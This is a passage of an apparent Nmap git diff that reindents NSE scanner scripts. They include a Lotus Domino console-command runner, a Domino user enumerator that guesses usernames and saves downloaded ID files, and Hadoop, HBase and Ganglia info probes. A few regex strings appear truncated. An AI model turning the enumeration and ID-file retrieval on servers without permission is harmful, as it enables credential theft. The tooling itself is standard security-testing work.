- socket:set_timeout(5000) + socket = nmap.new_socket() + socket:set_timeout(5000) - local try = nmap.new_try(function() socket:close() end) - try(socket:connect(host, port)) + local try = nmap.new_try(function() socket:close() end) + try(socket:connect(host, port)) - -- send the two first packets and never look back - repeat - try(socket:send(query[counter])) - packet = try(socket:receive()) - counter = counter + 1 - until (counter>#query) + -- send the two first packets and never look back + repeat + try(socket:send(query[counter])) + packet = try(socket:receive()) + counter = counter + 1 + until (counter>#query) - -- process the first response - server_list = process_server_response( packet ) + -- process the first response + server_list = process_server_response( packet ) - -- - -- the byte at offset 31 in the response has a really magic function - -- if it is set to zero (0) we have more response packets to process - -- if it is set to one (1) we have arrived at the last packet of our journey - -- - while packet:sub(31,31) ~= string.char(0x01) do - packet = try( socket:receive() ) - local tmp_table = process_server_response( packet ) + -- + -- the byte at offset 31 in the response has a really magic function + -- if it is set to zero (0) we have more response packets to process + -- if it is set to one (1) we have arrived at the last packet of our journey + -- + while packet:sub(31,31) ~= string.char(0x01) do + packet = try( socket:receive() ) + local tmp_table = process_server_response( packet ) - for _, v in ipairs(tmp_table) do - table.insert(server_list, v) - end - end + for _, v in ipairs(tmp_table) do + table.insert(server_list, v) + end + end - if #server_list>0 then - nmap.set_port_state(host, port, "open") - end + if #server_list>0 then + nmap.set_port_state(host, port, "open") + end - socket:close() + socket:close() - return stdnse.format_output(true, server_list) + return stdnse.format_output(true, server_list) end diff --git a/scripts/domcon-cmd.nse b/scripts/domcon-cmd.nse index 523e413ad..8f00ab9bb 100644 --- a/scripts/domcon-cmd.nse +++ b/scripts/domcon-cmd.nse @@ -10,7 +10,7 @@ Runs a console command on the Lotus Domino Console using the given authenticatio --- -- @usage -- nmap -p 2050 --script domcon-cmd --script-args domcon-cmd.cmd="show server", \ --- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret" +-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret" -- -- @output -- PORT STATE SERVICE REASON @@ -70,69 +70,69 @@ portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open") -- or error message if status is false local function readAPIBlock( socket ) - local lines - local result = {} - local status, line = socket:receive_lines(1) + local lines + local result = {} + local status, line = socket:receive_lines(1) - if ( not(status) ) then return false, "Failed to read line" end - lines = stdnse.strsplit( "\n", line ) + if ( not(status) ) then return false, "Failed to read line" end + lines = stdnse.strsplit( "\n", line ) - for _, line in ipairs( lines ) do - if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then - table.insert(result, line) - end - end + for _, line in ipairs( lines ) do + if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then + table.insert(result, line) + end + end - -- Clear trailing empty lines - while( true ) do - if ( result[#result] == "" ) then - table.remove(result, #result) - else - break - end - end + -- Clear trailing empty lines + while( true ) do + if ( result[#result] == "" ) then + table.remove(result, #result) + else + break + end + end - return true, result + return true, result end action = function(host, port) - local socket = nmap.new_socket() - local result_part, result, cmds = {}, {}, {} - local user = stdnse.get_script_args('domcon-cmd.user') - local pass = stdnse.get_script_args('domcon-cmd.pass') - local cmd = stdnse.get_script_args('domcon-cmd.cmd') + local socket = nmap.new_socket() + local result_part, result, cmds = {}, {}, {} + local user = stdnse.get_script_args('domcon-cmd.user') + local pass = stdnse.get_script_args('domcon-cmd.pass') + local cmd = stdnse.get_script_args('domcon-cmd.cmd') - if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end - if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end - if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end + if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end + if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end + if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end - cmds = stdnse.strsplit(";%s*", cmd) + cmds = stdnse.strsplit(";%s*", cmd) - socket:set_timeout(10000) - local status = socket:connect( host.ip, port.number, "tcp") - if ( status ) then - socket:reconnect_ssl() - end + socket:set_timeout(10000) + local status = socket:connect( host.ip, port.number, "tcp") + if ( status ) then + socket:reconnect_ssl() + end - socket:send("#API\n") - socket:send( ("#UI %s,%s\n"):format(user,pass) ) - socket:receive_lines(1) - socket:send("#EXIT\n") + socket:send("#API\n") + socket:send( ("#UI %s,%s\n"):format(user,pass) ) + socket:receive_lines(1) + socket:send("#EXIT\n") - for i=1, #cmds do - socket:send(cmds[i] .. "\n") - status, result_part = readAPIBlock( socket ) - if( status ) then - result_part.name = cmds[i] - table.insert( result, result_part ) - else - return " \n ERROR: " .. result_part - end - end + for i=1, #cmds do + socket:send(cmds[i] .. "\n") + status, result_part = readAPIBlock( socket ) + if( status ) then + result_part.name = cmds[i] + table.insert( result, result_part ) + else + return " \n ERROR: " .. result_part + end + end - socket:close() + socket:close() - return stdnse.format_output( true, result ) + return stdnse.format_output( true, result ) end diff --git a/scripts/domino-enum-users.nse b/scripts/domino-enum-users.nse index 252a972da..be8ee1210 100644 --- a/scripts/domino-enum-users.nse +++ b/scripts/domino-enum-users.nse @@ -54,81 +54,81 @@ portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open") -- @return status true on success, false on failure -- @return err string containing error message if status is false local function saveIDFile( filename, data ) - local f = io.open( filename, "w") - if ( not(f) ) then - return false, ("Failed to open file (%s)"):format(filename) - end - if ( not(f:write( data ) ) ) then - return false, ("Failed to write file (%s)"):format(filename) - end - f:close() + local f = io.open( filename, "w") + if ( not(f) ) then + return false, ("Failed to open file (%s)"):format(filename) + end + if ( not(f:write( data ) ) ) then + return false, ("Failed to write file (%s)"):format(filename) + end + f:close() - return true + return true end action = function(host, port) - local helper = nrpc.Helper:new( host, port ) - local status, data, usernames, err - local path = stdnse.get_script_args('domino-enum-users.path') - local result = {} - local save_file = false - local counter = 0 - local domino_username = stdnse.get_script_args("domino-enum-users.username") - if ( domino_username ) then - usernames = ( function() - local b = true - return function() - if ( b ) then - b=false; - return domino_username - end - end - end )() - else - status, usernames = unpwdb.usernames() - if ( not(status) ) then - return false, "Failed to load usernames" - end - end + local helper = nrpc.Helper:new( host, port ) + local status, data, usernames, err + local path = stdnse.get_script_args('domino-enum-users.path') + local result = {} + local save_file = false + local counter = 0 + local domino_username = stdnse.get_script_args("domino-enum-users.username") + if ( domino_username ) then + usernames = ( function() + local b = true + return function() + if ( b ) then + b=false; + return domino_username + end + end + end )() + else + status, usernames = unpwdb.usernames() + if ( not(status) ) then + return false, "Failed to load usernames" + end + end - for username in usernames do - status = helper:connect() - if ( not(status) ) then - err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip ) - break - end + for username in usernames do + status = helper:connect() + if ( not(status) ) then + err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip ) + break + end - status, data = helper:isValidUser( username ) - helper:disconnect() + status, data = helper:isValidUser( username ) + helper:disconnect() - if ( status and data and path ) then - local filename = path .. "/" .. stdnse.filename_escape(username .. ".id") - local status, err = saveIDFile( filename, data ) + if ( status and data and path ) then + local filename = path .. "/" .. stdnse.filename_escape(username .. ".id") + local status, err = saveIDFile( filename, data ) - if ( status ) then - table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) ) - else - stdnse.print_debug( err ) - table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) ) - end - elseif( status and data ) then - table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) ) - elseif ( status ) then - table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) ) - end + if ( status ) then + table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) ) + else + stdnse.print_debug( err ) + table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) ) + end + elseif( status and data ) then + table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) ) + elseif ( status ) then + table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) ) + end - counter = counter + 1 - end + counter = counter + 1 + end - if ( #result == 0 ) then - table.insert(result, ("Guessed %d usernames, none were found"):format(counter) ) - end + if ( #result == 0 ) then + table.insert(result, ("Guessed %d usernames, none were found"):format(counter) ) + end - result = stdnse.format_output( true, result ) - if ( err ) then - result = result .. (" \n %s"):format(err) - end + result = stdnse.format_output( true, result ) + if ( err ) then + result = result .. (" \n %s"):format(err) + end - return result + return result end diff --git a/scripts/ganglia-info.nse b/scripts/ganglia-info.nse index 436eafc77..712d475af 100644 --- a/scripts/ganglia-info.nse +++ b/scripts/ganglia-info.nse @@ -25,13 +25,13 @@ For more information about Ganglia, see: -- nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=1000000 -p -- -- @args ganglia-info.timeout --- Set the timeout in seconds. The default value is 60. --- This should be enough for a grid of more than 100 hosts at 200Kb/s. --- About 5KB-10KB of data is returned for each host in the cluster. +-- Set the timeout in seconds. The default value is 60. +-- This should be enough for a grid of more than 100 hosts at 200Kb/s. +-- About 5KB-10KB of data is returned for each host in the cluster. -- @args ganglia-info.bytes --- Set the number of bytes to retrieve. The default value is 1000000. --- This should be enough for a grid of more than 100 hosts. --- About 5KB-10KB of data is returned for each host in the cluster. +-- Set the number of bytes to retrieve. The default value is 1000000. +-- This should be enough for a grid of more than 100 hosts. +-- About 5KB-10KB of data is returned for each host in the cluster. -- -- @output -- PORT STATE SERVICE VERSION @@ -89,63 +89,63 @@ portrule = shortport.port_or_service ({8649,8651}, "ganglia", {"tcp"}) action = function( host, port ) - local result = {} + local result = {} - -- Set timeout - local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout'] - if not timeout then - timeout = 30 - else - tonumber(timeout) - end + -- Set timeout + local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout'] + if not timeout then + timeout = 30 + else + tonumber(timeout) + end - -- Set bytes - local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes'] - if not bytes then - bytes = 1000000 - else - tonumber(bytes) - end + -- Set bytes + local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes'] + if not bytes then + bytes = 1000000 + else + tonumber(bytes) + end - -- Retrieve grid data in XML format over TCP - stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) - local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes}) - if not status then - stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout)) - return - end + -- Retrieve grid data in XML format over TCP + stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) + local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes}) + if not status then + stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout)) + return + end - -- Parse daemon info - if not string.match(data, "]+ OWNER="([^"]*)" ') then - table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, ']+ OWNER="([^"]*)" '))) - elseif string.match(line, ']+ UNITS="[^"]*"') then - table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, ']+ UNITS="[^"]*"'), "_", " "), string.match(line, ']+ UNITS="[^"]*"'), string.match(line, ']+ UNITS="([^"]*)"'))) - end - end + -- Extract cluster details and system details for each cluster in the grid + for line in string.gmatch(data, "[^\n]+") do + if string.match(line, ']+ OWNER="([^"]*)" ') then + table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, ']+ OWNER="([^"]*)" '))) + elseif string.match(line, ']+ UNITS="[^"]*"') then + table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, ']+ UNITS="[^"]*"'), "_", " "), string.match(line, ']+ UNITS="[^"]*"'), string.match(line, ']+ UNITS="([^"]*)"'))) + end + end - -- Return results - return stdnse.format_output(true, result) + -- Return results + return stdnse.format_output(true, result) end diff --git a/scripts/hadoop-namenode-info.nse b/scripts/hadoop-namenode-info.nse index 3768a7e92..f8950f110 100644 --- a/scripts/hadoop-namenode-info.nse +++ b/scripts/hadoop-namenode-info.nse @@ -53,105 +53,105 @@ categories = {"default", "discovery", "safe"} portrule = function(host, port) - -- Run for the special port number, or for any HTTP-like service that is - -- not on a usual HTTP port. - return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port) - or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) + -- Run for the special port number, or for any HTTP-like service that is + -- not on a usual HTTP port. + return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port) + or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) end get_datanodes = function( host, port, Status ) - local result = {} - local uri = "/dfsnodelist.jsp?whatNodes=" .. Status - stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) - local response = http.get( host, port, uri ) - stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" )) - if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then - local body = response['body']:gsub("%%","%%%%") - stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) - for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do - local datanode = datanodetmp:gsub("/browseDirectory.jsp","") - stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode)) - table.insert(result, ("Datanode: %s"):format(datanode)) - if target.ALLOW_NEW_TARGETS then - if datanode:match("([%w%.]+)") then - local newtarget = datanode:match("([%w%.]+)") - stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) - local status,err = target.add(newtarget) - end - end - end - end - return result + local result = {} + local uri = "/dfsnodelist.jsp?whatNodes=" .. Status + stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) + local response = http.get( host, port, uri ) + stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" )) + if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then + local body = response['body']:gsub("%%","%%%%") + stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) + for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do + local datanode = datanodetmp:gsub("/browseDirectory.jsp","") + stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode)) + table.insert(result, ("Datanode: %s"):format(datanode)) + if target.ALLOW_NEW_TARGETS then + if datanode:match("([%w%.]+)") then + local newtarget = datanode:match("([%w%.]+)") + stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) + local status,err = target.add(newtarget) + end + end + end + end + return result end action = function( host, port ) - local result = {} - local uri = "/dfshealth.jsp" - stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) - local response = http.get( host, port, uri ) - stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) - if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then - local body = response['body']:gsub("%%","%%%%") - local capacity = {} - stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) - if body:match("Started:%s*([^][<]+)") then - local start = body:match("Started:%s*([^][<]+)") - stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start)) - table.insert(result, ("Started: %s"):format(start)) - end - if body:match("Version:%s*([^][<]+)") then - local version = body:match("Version:%s*([^][<]+)") - stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version)) - table.insert(result, ("Version: %s"):format(version)) - port.version.version = version - end - if body:match("Compiled:%s*([^][<]+)") then - local compiled = body:match("Compiled:%s*([^][<]+)") - stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) - table.insert(result, ("Compiled: %s"):format(compiled)) - end - if body:match("Upgrades:%s*([^][<]+)") then - local upgrades = body:match("Upgrades:%s*([^][<]+)") - stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades)) - table.insert(result, ("Upgrades: %s"):format(upgrades)) - end - if body:match("([^][\"]+)\">Browse") then - local filesystem = body:match("([^][\"]+)\">Browse") - stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem)) - table.insert(result, ("Filesystem: %s"):format(filesystem)) - end - if body:match("([^][\"]+)\">Namenode") then - local logs = body:match("([^][\"]+)\">Namenode") - stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs)) - table.insert(result, ("Logs: %s"):format(logs)) - end - for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do - table.insert(capacity,i) - end - if #capacity >= 6 then - stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3])) - stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5])) - stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6])) - table.insert(result,"Storage:") - table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining") - table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6])) - end - local datanodes_live = get_datanodes(host,port, "LIVE") - if next(datanodes_live) then - table.insert(result, "Datanodes (Live): ") - table.insert(result, datanodes_live) - end - local datanodes_dead = get_datanodes(host,port, "DEAD") - if next(datanodes_dead) then - table.insert(result, "Datanodes (Dead): ") - table.insert(result, datanodes_dead) - end - if #result > 0 then - port.version.name = "hadoop-namenode" - port.version.product = "Apache Hadoop" - nmap.set_port_version(host, port) - end - return stdnse.format_output(true, result) - end + local result = {} + local uri = "/dfshealth.jsp" + stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) + local response = http.get( host, port, uri ) + stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) + if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then + local body = response['body']:gsub("%%","%%%%") + local capacity = {} + stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) + if body:match("Started:%s*([^][<]+)") then + local start = body:match("Started:%s*([^][<]+)") + stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start)) + table.insert(result, ("Started: %s"):format(start)) + end + if body:match("Version:%s*([^][<]+)") then + local version = body:match("Version:%s*([^][<]+)") + stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version)) + table.insert(result, ("Version: %s"):format(version)) + port.version.version = version + end + if body:match("Compiled:%s*([^][<]+)") then + local compiled = body:match("Compiled:%s*([^][<]+)") + stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) + table.insert(result, ("Compiled: %s"):format(compiled)) + end + if body:match("Upgrades:%s*([^][<]+)") then + local upgrades = body:match("Upgrades:%s*([^][<]+)") + stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades)) + table.insert(result, ("Upgrades: %s"):format(upgrades)) + end + if body:match("([^][\"]+)\">Browse") then + local filesystem = body:match("([^][\"]+)\">Browse") + stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem)) + table.insert(result, ("Filesystem: %s"):format(filesystem)) + end + if body:match("([^][\"]+)\">Namenode") then + local logs = body:match("([^][\"]+)\">Namenode") + stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs)) + table.insert(result, ("Logs: %s"):format(logs)) + end + for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do + table.insert(capacity,i) + end + if #capacity >= 6 then + stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3])) + stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5])) + stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6])) + table.insert(result,"Storage:") + table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining") + table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6])) + end + local datanodes_live = get_datanodes(host,port, "LIVE") + if next(datanodes_live) then + table.insert(result, "Datanodes (Live): ") + table.insert(result, datanodes_live) + end + local datanodes_dead = get_datanodes(host,port, "DEAD") + if next(datanodes_dead) then + table.insert(result, "Datanodes (Dead): ") + table.insert(result, datanodes_dead) + end + if #result > 0 then + port.version.name = "hadoop-namenode" + port.version.product = "Apache Hadoop" + nmap.set_port_version(host, port) + end + return stdnse.format_output(true, result) + end end diff --git a/scripts/hbase-master-info.nse b/scripts/hbase-master-info.nse index 0efd34b76..3b20936df 100644 --- a/scripts/hbase-master-info.nse +++ b/scripts/hbase-master-info.nse @@ -50,90 +50,90 @@ categories = {"default", "discovery", "safe"} portrule = function(host, port) - -- Run for the special port number, or for any HTTP-like service that is - -- not on a usual HTTP port. - return shortport.port_or_service ({60010}, "hbase-master")(host, port) - or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) + -- Run for the special port number, or for any HTTP-like service that is + -- not on a usual HTTP port. + return shortport.port_or_service ({60010}, "hbase-master")(host, port) + or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) end action = function( host, port ) - local result = {} - local region_servers = {} - local uri = "/master.jsp" - stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) - local response = http.get( host, port, uri ) - stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) - if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then - local body = response['body']:gsub("%%","%%%%") - stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) - if body:match("HBase%s+Version([^][<]+)") then - local version = body:match("HBase%s+Version([^][<]+)"):gsub("%s+", " ") - stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version)) - table.insert(result, ("Hbase Version: %s"):format(version)) - port.version.version = version - end - if body:match("HBase%s+Compiled([^][<]+)") then - local compiled = body:match("HBase%s+Compiled([^][<]+)"):gsub("%s+", " ") - stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled)) - table.insert(result, ("Hbase Compiled: %s"):format(compiled)) - end - if body:match("Directory([^][<]+)") then - local compiled = body:match("Directory([^][<]+)"):gsub("%s+", " ") - stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled)) - table.insert(result, ("HBase Root Directory: %s"):format(compiled)) - end - if body:match("Hadoop%s+Version([^][<]+)") then - local version = body:match("Hadoop%s+Version([^][<]+)"):gsub("%s+", " ") - stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version)) - table.insert(result, ("Hadoop Version: %s"):format(version)) - end - if body:match("Hadoop%s+Compiled([^][<]+)") then - local compiled = body:match("Hadoop%s+Compiled([^][<]+)"):gsub("%s+", " ") - stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled)) - table.insert(result, ("Hadoop Compiled: %s"):format(compiled)) - end - if body:match("average([^][<]+)") then - local average = body:match("average([^][<]+)"):gsub("%s+", " ") - stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average)) - table.insert(result, ("Average Load: %s"):format(average)) - end - if body:match("Quorum([^][<]+)") then - local quorum = body:match("Quorum([^][<]+)"):gsub("%s+", " ") - stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum)) - table.insert(result, ("Zookeeper Quorum: %s"):format(quorum)) - if target.ALLOW_NEW_TARGETS then - if quorum:match("([%w%.]+)") then - local newtarget = quorum:match("([%w%.]+)") - stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) - local status,err = target.add(newtarget) - end - end - end - for line in string.gmatch(body, "[^\n]+") do - stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) - if line:match("maxHeap") then - local region_server= line:match("\">([^][<]+)") - stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server)) - table.insert(region_servers, region_server) - if target.ALLOW_NEW_TARGETS then - if region_server:match("([%w%.]+)") then - local newtarget = region_server:match("([%w%.]+)") - stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) - local status,err = target.add(newtarget) - end - end - end - end - if next(region_servers) then - table.insert(result,"Region Servers:") - table.insert(result,region_servers) - end - if #result > 0 then - port.version.name = "hbase-master" - port.version.product = "Apache Hadoop Hbase" - nmap.set_port_version(host, port) - end - return stdnse.format_output(true, result) - end + local result = {} + local region_servers = {} + local uri = "/master.jsp" + stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) + local response = http.get( host, port, uri ) + stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) + if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then + local body = response['body']:gsub("%%","%%%%") + stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) + if body:match("HBase%s+Version([^][<]+)") then + local version = body:match("HBase%s+Version([^][<]+)"):gsub("%s+", " ") + stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version)) + table.insert(result, ("Hbase Version: %s"):format(version)) + port.version.version = version + end + if body:match("HBase%s+Compiled([^][<]+)") then + local compiled = body:match("HBase%s+Compiled([^][<]+)"):gsub("%s+", " ") + stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled)) + table.insert(result, ("Hbase Compiled: %s"):format(compiled)) + end + if body:match("Directory([^][<]+)") then + local compiled = body:match("Directory([^][<]+)"):gsub("%s+", " ") + stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled)) + table.insert(result, ("HBase Root Directory: %s"):format(compiled)) + end + if body:match("Hadoop%s+Version([^][<]+)") then + local version = body:match("Hadoop%s+Version([^][<]+)"):gsub("%s+", " ") + stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version)) + table.insert(result, ("Hadoop Version: %s"):format(version)) + end + if body:match("Hadoop%s+Compiled([^][<]+)") then + local compiled = body:match("Hadoop%s+Compiled([^][<]+)"):gsub("%s+", " ") + stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled)) + table.insert(result, ("Hadoop Compiled: %s"):format(compiled)) + end + if body:match("average([^][<]+)") then + local average = body:match("average([^][<]+)"):gsub("%s+", " ") + stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average)) + table.insert(result, ("Average Load: %s"):format(average)) + end + if body:match("Quorum([^][<]+)") then + local quorum = body:match("Quorum([^][<]+)"):gsub("%s+", " ") + stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum)) + table.insert(result, ("Zookeeper Quorum: %s"):format(quorum)) + if target.ALLOW_NEW_TARGETS then + if quorum:match("([%w%.]+)") then + local newtarget = quorum:match("([%w%.]+)") + stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) + local status,err = target.add(newtarget) + end + end + end + for line in string.gmatch(body, "[^\n]+") do + stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) + if line:match("maxHeap") then + local region_server= line:match("\">([^][<]+)") + stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server)) + table.insert(region_servers, region_server) + if target.ALLOW_NEW_TARGETS then + if region_server:match("([%w%.]+)") then + local newtarget = region_server:match("([%w%.]+)") + stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) + local status,err = target.add(newtarget) + end + end + end + end + if next(region_servers) then + table.insert(result,"Region Servers:") + table.insert(result,region_servers) + end + if #result > 0 then + port.version.name = "hbase-master" + port.version.product = "Apache Hadoop Hbase" + nmap.set_port_version(host, port) + end + return stdnse.format_output(true, result) + end end diff --git a/scripts/http-affiliate-id.nse b/scripts/http-affiliate-id.nse index 5fe120ba6..f09772b79 100644 --- a/scripts/http-affiliate-id.nse +++ b/scripts/http-affiliate-id.nse @@ -51,9 +51,9 @@ categories = {"safe", "discovery"} -- these are the regular expressions for affiliate IDs local AFFILIATE_PATTERNS = { - ["Google Analytics ID"] = "(?PUA-[0-9]{6,9}-[0-9]{1,2})", - ["Google Adsense ID"] = "(?Ppub-[0-9]{16,16})", - ["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P\\w+-\\d+)", + ["Google Analytics ID"] = "(?PUA-[0-9]{6,9}-[0-9]{1,2})", + ["Google Adsense ID"] = "(?Ppub-[0-9]{16,16})", + ["Amazon Associates ID"] = 